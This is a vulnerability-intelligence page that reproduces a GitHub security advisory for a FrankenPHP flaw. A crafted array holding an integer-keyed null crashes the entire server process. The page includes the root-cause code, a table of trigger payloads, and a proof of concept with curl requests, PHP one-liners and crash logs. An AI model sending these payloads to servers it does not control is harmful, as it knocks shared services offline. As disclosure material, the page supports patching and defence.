llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/dunglas/frankenphp

GHSA-4PRG-HV4R-G6MV

FrankenPHP aborts the whole server process when logging a crafted array

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.9
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición48 dDesde la divulgación, 4 oct 2026, 9:04 a. m.
Detección46 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esta la tienes controlada, confío en ti.Revisa, agenda, parchea. El clásico de siempre.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche v1.13.0
Monitoreo
Detectada +1
4 oct 26
19 nov 26
21 nov 26
4 oct 26
16 oct 26
28 oct 26
9 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4PRG-HV4R-G6MV divulgada · CVSS 5.9 (GitHub)
Divulgación Modificada Última actualización del registro
Remediación Parche v1.13.0 github.com/dunglas/frankenphp · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`types.go`'s `goArray()` performs an unchecked interface type assertion in the branch that handles buckets without a string key — i.e. integer-keyed elements of a non-packed Zend hashtable:

// types.go:156-161
// as fallback convert the bucket index to a string key
strIndex := strconv.Itoa(int(bucket.h))
entries[strIndex] = v.(T)        // ← types.go:158, no nil guard

`goValue()` reports a PHP `null` as a nil interface (`types.go:278` / `types.go:355`), and `v.(T)` panics on a nil interface for *every* `T`, including `any`. The string-key branch a few lines above does guard this case (`types.go:143-147`, `entries[keyStr] = v.(T)` only in the `else` of `if v == nil`); the integer-key fallback does not.

The panic is raised inside a cgo callback: Go cannot unwind into C, and a repository-wide search for `recover()` returns zero occurrences (production *and* test code). The result is not a failed request but a whole-process abort (exit status 2), taking down every vhost, every tenant and every in-flight request served by that instance.

Three production paths reach it. Paths 1 and 2 are verified end to end here (built, run, process abort observed); path 3 is the same code path reached from the documented extension API - only documentation-verified:

  1. `frankenphp_log()` — the documented structured-logging API (`frankenphp.stub.php:52-56`) → `frankenphp.c:1012` → `frankenphp.go:767` `GoMap[any]()` → `types.go:82` → `types.go:158`.
  2. A worker callback's return value — `frankenphp.c:925` → `threadworker.go:284` `GoValue[any]()` → `types.go:345` → `types.go:158`. Note that in a plain Caddy worker deployment this return value is not consumed by anyone (only the Go extension API's `SendMessage` reads it), yet returning such an array still kills the process.
  3. The documented extension API — `docs/extensions.md:225-237` shows an exported PHP function declared `process_data_unordered(array $input)` whose body is `frankenphp.GoMap[any](unsafe.Pointer(arr))`; any Go extension that accepts a PHP array from the application/request and converts it with the documented call inherits the same crash.

Details

Root cause

`goValue()` cannot signal "this was a null" through its error return — a `null` becomes a nil `any` with `err == nil`:

// types.go:276-278
case C.IS_NULL:
    resAny = any(nil)
...
// types.go:355-357
if resAny == nil {
    return resZero, nil      // nil interface, err == nil
}

`goArray()` then handles the two bucket kinds asymmetrically:

// types.go:130-162 (abridged)
for i := C.uint32_t(0); i < nNumUsed; i++ {
    bucket := C.get_ht_bucket_data(array, i)
    if bucket == nil || C.zval_get_type(&bucket.val) == C.IS_UNDEF {
        continue
    }

    v, err := goValue[any](&bucket.val)
    if err != nil {
        return nil, nil, err
    }

    if bucket.key != nil {                       // string key → guarded
        keyStr := GoString(unsafe.Pointer(bucket.key))
        if v == nil {
            entries[keyStr] = zeroVal
        } else {
            entries[keyStr] = v.(T)              // types.go:146
        }
        if ordered { order = append(order, keyStr) }
        continue
    }

    // as fallback convert the bucket index to a string key
    strIndex := strconv.Itoa(int(bucket.h))
    entries[strIndex] = v.(T)                    // types.go:158 — UNGUARDED
    if ordered { order = append(order, strIndex) }
}

Zend stores integer keys in the bucket's `h` field and leaves `key == NULL`:

typedef struct _Bucket {
	zval         val;
	zend_ulong   h;    /* hash value (or numeric index) */
	zend_string *key;  /* string key or NULL for numerics */
} Bucket;

so any integer-keyed element of a real (non-packed) hashtable takes the unguarded branch. The `packed` branch at `types.go:105-126` is safe for a different reason — it assigns `e, err := goValue[T](v)` directly into the map with no type assertion — which is why this defect is confined to the non-packed/integer-key path. Both quoted comments and the packed/hash boundary were verified against php-src: `_zend_hash_index_add_or_update_i` stores a numeric index below `nTableSize` (8 for a fresh array) as a packed slot and fills the gap with `ZVAL_UNDEF` (`zend_hash.c:1104-1137`), while a key >= 8 with no matching growth heuristic calls `zend_hash_packed_to_hash()` (`zend_hash.c:1146-1155`); inserting any string key converts the table as well. Measured behaviour matches this exactly - see the trigger table below (keys 0-7 survive, >= 8 abort).

`v.(T)` on a nil interface panics by language definition; verified on Go 1.27:

recovered: interface conversion: interface is nil, not interface {}

The API's own contract makes the intent unambiguous — it is *supposed* to report conversion failures rather than die: `frankenphp.go:767-769` already returns `"Failed to log message: converting attrs: …"` as a PHP exception on the `err` path, and `frankenphp.stub.php:54` documents `$context` as values that "will be converted to the corresponding Go type (if supported by FrankenPHP)".

Why the process dies instead of the request failing
  • The panic happens in a Go function called from C (the PHP thread loop); Go cannot unwind into C frames, so the runtime prints the goroutine dump and exits.
  • There is no `recover()` anywhere in the repository (verified by grep: zero occurrences in production and test code).
  • Observed outcome of a single HTTP request: container main process `Running=false exit=2`; client sees `curl: (52) Empty reply from server`.
Trigger conditions (measured)

The array must be a real (hash) hashtable rather than a packed array, and must contain an integer-keyed element whose value is `null`. Either of these makes the array a real hashtable: (a) any string key anywhere in it, or (b) a numeric key that Zend cannot keep as a packed slot - for a fresh array `nTableSize` is 8, so a lone numeric key `>= 8` converts the table (`zend_hash.c:1146-1155`), while keys `< 8` are stored as packed slots with `IS_UNDEF` holes and are therefore skipped by the assertion-free packed branch. The payload may be nested at any depth, because `goValue()` recurses through nested arrays (`types.go:345`).

| Request body (`json_decode($body, true)`) | PHP internal shape | Result |
|---|---|---|
| `{"a":1,"2":null}` | mixed-key hash | process abort |
| `{"a":1,"0":null}` | mixed-key hash | process abort |
| `{"x":9,"1":null}` | mixed-key hash | process abort |
| `{"a":1,"10":null}` | mixed-key hash | process abort |
| `{"a":1,"-1":null}` | mixed-key hash | process abort |
| `{"a":1,"1":null,"b":2}` | mixed-key hash | process abort |
| `["x",{"a":1,"0":null}]` | packed outer, hashed inner | process abort |
| `{"a":{"b":1,"0":null}}` | packed outer, hashed inner | process abort |
| `{"2":null}` | single numeric key < 8 → packed slot with `IS_UNDEF` holes | survives |
| `{"8":null}`, `{"9":null}`, `{"10":null}`, `{"12":null}` | single numeric key >= 8 → `zend_hash_packed_to_hash()` | process abort |
| `{"0":null,"1":null}`, `[null]`, `[]` | packed | survives |
| `{"a":null}` | string key only | survives (guarded branch) |
| `{"a":1,"2":"x"}` | integer key, non-null value | survives |

Both `null` and an integer key are required: a string-keyed null takes the guarded branch, an integer key with a non-null value makes the assertion succeed, and a packed integer-keyed null (keys 0-7 with no string key in the array) is handled by the assertion-free packed branch. Note the nesting rows and the single-key rows: filtering only top-level fields is not a mitigation, and a single-field object such as `{"8":null}` is already sufficient.

PoC

A. `php_server` (non-worker): the default handler configuration
{
	frankenphp
}

:80 {
	root * /app/public
	php_server
}

About this Caddyfile. This is the *minimal* form: only the `frankenphp` global app block and `php_server` matter.
`/app/public/logapi.php` — ordinary structured logging of the decoded request body:

<?php
$data = json_decode(file_get_contents('php://input'), true) ?? [];
frankenphp_log('request', FRANKENPHP_LOG_LEVEL_INFO, is_array($data) ? $data : []);
echo "handled-ok\n";
$ docker run -d --name fp-poc -p 8080:80 dunglas/frankenphp:latest
$ docker cp logapi.php fp-poc:/app/public/logapi.php
$ docker cp Caddyfile  fp-poc:/etc/frankenphp/Caddyfile
$ docker restart fp-poc

$ docker exec fp-poc frankenphp version
FrankenPHP v1.12.7 PHP 8.5.9 Caddy v2.11.4

# benign body: 200, logged normally
$ curl -i -X POST -H 'Content-Type: application/json' \
       --data-binary '{"a":1,"b":2}' http://127.0.0.1:8080/logapi.php
handled-ok
HTTP/1.1 200 OK

$ docker logs fp-poc
{"level":"info","ts":…,"logger":"frankenphp","msg":"request","a":1,"b":2}

# attack body: the WHOLE server process dies
$ curl -i -X POST -H 'Content-Type: application/json' \
       --data-binary '{"a":1,"2":null}' http://127.0.0.1:8080/logapi.php
curl: (52) Empty reply from server

$ docker logs fp-poc
panic: interface conversion: interface is nil, not interface {}
goroutine 136 [running, locked to thread]:
github.com/dunglas/frankenphp.goArray[...](0x7dd256a5b118, 0x0)
	/go/src/app/types.go:158 +0x525
github.com/dunglas/frankenphp.GoMap[...](...)
	/go/src/app/types.go:82
github.com/dunglas/frankenphp.go_log_attrs(0x424632?, 0x41144e98, 0x0, 0x7dd256a12120)
	/go/src/app/frankenphp.go:783 +0x15a

$ docker inspect -f '{{.State.Running}}/{{.State.ExitCode}}' fp-poc
false/2
B. Worker mode (callback return value)
:80 {
	root * /app/public
	php_server {
		worker {
			file /app/public/apiworker.php
			num 2
		}
	}
}
<?php   // /app/public/apiworker.php
$handler = static function () {
    return json_decode(file_get_contents('php://input'), true);
};
$nb = 0;
while (frankenphp_handle_request($handler)) { if (++$nb > 1000) break; }
$ curl -X POST -H 'Content-Type: application/json' \
       --data-binary '{"a":1,"2":null}' http://127.0.0.1:8091/apiworker.php

panic: interface conversion: interface is nil, not interface {}
github.com/dunglas/frankenphp.goArray[...](0x7a548f2030a8, 0x1)   types.go:158
github.com/dunglas/frankenphp.GoAssociativeArray[...](0x7?)       types.go:75
github.com/dunglas/frankenphp.goValue[...](0x7a54a3ffc2c0)        types.go:345
github.com/dunglas/frankenphp.GoValue[...](...)                   types.go:266
github.com/dunglas/frankenphp.go_frankenphp_finish_worker_request threadworker.go:304
-> container: Running=false exit=2
Minimal one-liner confirmation (no JSON needed)
<?php frankenphp_log('crash-msg', 4, ['a' => 1, 2 => null]);   // process aborts here

Control that does not crash: `frankenphp_log('control-msg', 4, ['a' => 1, 'b' => null]);`

Even simpler: no JSON and no string key is required — a plain PHP array literal with a numeric key `>= 8` is enough:

<?php frankenphp_log('x', 4, [8 => null]);    // process aborts here

Measured for the literal form `[$n => null]`: `n = 7` survives; `n = 8` and `n = 10` abort the process - exactly the boundary the `nTableSize = 8` packed-to-hash conversion predicts, and confirmation that the trigger does not depend on how the array was built (`json_decode`, PHP literal, `unserialize`, DB rows, ...).

Impact

  • Complete loss of availability of the whole instance from one unauthenticated request, in deployments where the application routes a client-influenced array into one of the three APIs above. Because the abort is process-wide, a single request takes down every vhost served by that process, plus all in-flight requests. Worker mode additionally loses the application state that worker mode exists to keep in memory (preloaded bootstrap, in-process caches, queue consumer context).
  • Repeatability: once a supervisor restarts the process, the attacker simply re-sends the request; the result is a sustained outage and restart churn rather than a one-off blip.
  • Multi-tenant / plugin model: any tenant's PHP code, CMS plugin or library that logs decoded input (or returns it from a worker callback) can take down every co-hosted application. This is precisely the "hostile PHP-shaped data" model the project itself uses when motivating `zval.h`'s depth cap.
  • It also breaks the fault-isolation expectation PHP applications normally have: an ordinary PHP `fatal error` affects one request, whereas this affects the entire process.

References

  • Vulnerable code: `types.go#L158` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/types.go#L158 — and the guarded sibling at `types.go#L143-L147` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/types.go#L143-L147
  • Nil-producing conversion: `types.go#L276-L278` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/types.go#L276-L278, `types.go#L355-L357` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/types.go#L355-L357
  • Entry points: `frankenphp.go#L767` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/frankenphp.go#L767 (`go_log_attrs`), `threadworker.go#L284` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/threadworker.go#L284, `frankenphp.c#L925` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/frankenphp.c#L925, `frankenphp.c#L1012` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/frankenphp.c#L1012
  • Documented API surface: `frankenphp.stub.php#L52-L56` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/frankenphp.stub.php#L52-L56, `docs/extensions.md#L225-L237` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/docs/extensions.md#L225-L237, `docs/library.md` https://github.com/php/frankenphp/blob/daead870980d2aba0c2df76cbea880b5a608ff0b/docs/library.md

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/dunglas/frankenphp≤ 1.12.7
1.12.7
v1.13.6
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/dunglas/frankenphp
Corregida v1.13.0 0 d v1.13.6 no afectada
Versiones corregidasv1.13.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/php/frankenphp/security/advisories/GHSA-4prg-hv4r-g6mv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.